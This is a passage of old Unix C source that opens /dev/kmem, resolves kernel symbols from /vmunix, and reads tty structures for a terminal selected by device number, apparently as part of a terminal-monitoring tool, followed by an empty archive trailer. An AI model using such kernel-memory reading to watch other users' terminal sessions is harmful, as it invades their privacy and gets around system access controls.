old_i = (int) NULL;
old_start = old_finish = NULL;
}
}
read_tty(fd , base , offset , buffer)
long base , offset;
register struct tty *buffer;
{
register int i;
lseek(fd , base + offset , 0);
i = read(fd , buffer , sizeof(struct tty));
if (i != sizeof(struct tty)) {
printf("unexpected return from read\n");
printf("should have been %d\n" , sizeof(struct tty));
printf("was %d\n" , i);
exit(0);
}
}
open_memory(fd , argv)
int *fd;
char **argv;
{
if ((*fd = open("/dev/kmem" , 0)) < 0) {
perror(argv[0]);
exit(0);
}
}
get_name_list(index,argv)
int index;
char **argv;
{
nl[0].n_name = name_list[index];
nlist("/vmunix" , nl);
if (! nl[0].n_type) {
printf("%s: couldn't get name list\n" , argv[0]);
exit(0);
}
printf("%s starts at %08x\n" , nl[0].n_name , nl[0].n_value);
}
get_args(major , minor , argc , argv)
int *major , *minor , argc;
char **argv;
{
if (argc != 3) {
fprintf(stderr,"usage: %s major_dev minor_dev \n" , argv[0]);
exit(0);
}
*major = atoi(argv[1]);
*minor = atoi(argv[2]);
printf("Major Device: %d -- Minor Device: %d\n" , *major , *minor);
}
check_args(major , minor , board , argv)
char **argv;
int *board;
{
if (minor < 0) {
bad_minor: printf("%s: bad minor device number\n" , argv[0]);
exit(0);
}
switch (major) {
case DZ11:
if (minor >= NDZ * DZ_X) goto bad_minor;
printf("DZ11 - Unit %d\n" , minor / DZ_X);
*board = 0;
break;
case DH11:
if (minor >= NDH * DH_X) goto bad_minor;
printf("DH11 - Unit %d\n" , minor / DH_X);
*board = 1;
break;
case PTY:
if (minor >= NPT * PT_X) goto bad_minor;
printf("PTY - Unit %d\n" , minor / PT_X);
*board = 2;
break;
default:
printf("%s: bad major device number\n" , argv[0]);
exit(0);
}
}
------------------------------------------------------------------------------
Comments:
Q's:
Biblio:
CrossRef:
Code/shRef:
==============================================================================
[nestey] 34)
